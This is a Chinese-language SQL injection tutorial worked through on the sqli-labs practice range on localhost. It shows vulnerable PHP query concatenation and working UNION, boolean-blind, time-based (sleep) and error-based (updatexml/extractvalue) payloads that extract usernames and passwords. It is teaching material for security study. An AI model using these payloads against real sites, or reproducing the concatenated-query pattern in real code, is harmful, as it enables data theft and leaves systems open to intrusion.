漏洞原理
由于对用户输入数据的过滤不严格,导致攻击者将恶意代码(攻击载荷)拼接到sql语句中,并带入到后端数据库中执行。
SQL注入基础
实验环境:sqlilabs靶场(php+mysql)
数字型注入
先看一下关键代码(第二关)
include("../sql-connections/sql-connect.php");//包含数据库连接文件
$id=$_GET['id'];//GET方式接收用户的数据id
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//拼接sql执行语句
$result=mysql_query($sql);//将sql语句带入数据库执行
$row = mysql_fetch_array($result);//打印执行结果
通过网页访问连链接http://127.0.0.1/sqlilabs/Less-2/?id=1,结果如图
这里PHP将我们输入的id=1,通过GET方式接收,并赋值给变量id,再与sql的查询语句进行拼接,带入到数据库中执行,最终将结果返回给用户。(图中的sql语句是为了方便,打印出来的)
将SELECT * FROM users WHERE id=1 LIMIT 0,1直接在mysql命令行中执行,得到相同的结果,如下
那我们怎么知道这是数字型注入呢?答案通过数字运算。访问链接:http://127.0.0.1/sqlilabs/Less-2/?id=2-1;可以得到与访问链接:http://127.0.0.1/sqlilabs/Less-2/?id=1相同的结果。
从源代码也表现出来,sql语句中的$id没有被引号包裹。这时我们可以直接输入sql查询语句来干扰正常的查询。下面我们就引出第一种攻击方式union注入,即联合注入。
UNION注入
SELECT * FROM users WHERE id=1 union select id,username, password from users where id=2 ;
通过UNION查询,我们得到了id=1和id=2的用户数据,接下来我们浏览器中访问。
这里我们并没有看到id=2的用户数据,是因为PHP代码所决定的,我们可以通过limit来控制输出,‘limit 1,1’第一个1表示‘索引’,第一个1表示‘个数’,我们加上‘limit 1,1’访问。
这里我们就看到了id=2用户的数据,至于后面的–+(–%20),作用是注释后面的语句,同样作用的有“#(%23)”
或者指定id=-1或者一个很大的值,使得union前面的语句查询不到,这样就只有一条结果,访问http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%20id,username,%20password%20from%20users%20where%20id=2
至此,第一个例子结束,数字型注入的关键在于找到输入的参数点(这也是所有注入类型的关键),在通过UNION注入等攻击手段,获取数据库的敏感信息。
字符型注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//拼接sql执行语句
与数字型注入不同的是,$id被单引号包裹,让其变成了字符串。
在MySQL数据库中,等号两边如果类型不一样,则会发生强制转换。当数字跟字符串比较时,字符串将被转换成数字,再进行比较。如下图:
这也就不难解释,当访问http://127.0.0.1/sqlilabs/Less-1/?id=2-1,返回的是id=2用户的数据。当再访问http://127.0.0.1/sqlilabs/Less-1/?id=1a,返回的是id=1用户的数据,这里也说明的确是字符型。
讲到这里,相比数字型注入,字符型注入的攻击方式,需要考虑符号的闭合,(如将前面的单引号闭合,注释后面的单引号)
http://127.0.0.1/sqlilabs/Less-1/?id=-1%27%20union%20select%20id,username,%20password%20from%20users%20where%20id=2–+
盲注
如果sql执行后,没有回显,怎么办
虽然我们看不到数据,但是注入推测出数据,这种技术被称为盲注。盲注分为布尔盲注和时间盲注。
布尔盲注
布尔盲注就是利用MySQL自带的函数进行数据截取,来进行逻辑判断。
常见函数:
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
等等。
通过访问http://127.0.0.1/sqlilabs/Less-8/?id=1%27%20and%20length(database())=8–+,页面显示正常,知道数据名的长度为8。
那这里假设我想知道id=2用户的数据,该怎么构造sql语句
?id=1’ and mid(select concat(username,0x7e,password) from users where id=2,1,1)=‘A’–+
时间盲注
布尔盲注是通过页面是否正常回显,来判断我们猜测的是否正确,那当页面回显的结果一样时,该肿么办,这里就引入了时间盲注。时间盲注又称延迟注入,它通过sleep()函数来控制回显时间,从而判断出猜测的是否正确。
相关函数:if,sleep()
?id=1’ and if((length(database())=8),sleep(5),1)–+
报错注入
为了方便开发者调试,有时会开启错误调试
此时,只要触发sql语句的错误,即可在页面看到错误信息。这种攻击方式则是利用mysql会将语句执行后的报错信息输出,故成报错注入。
相关函数:floor,updatexml,extractvalue
这里不探究这些函数的原理。
?id=1 and updatexml(1,concat(0x7e,(version())),0)
?id=1 and extractvalue(1,concat(0x7e,database()))
总结
不要浮躁!!!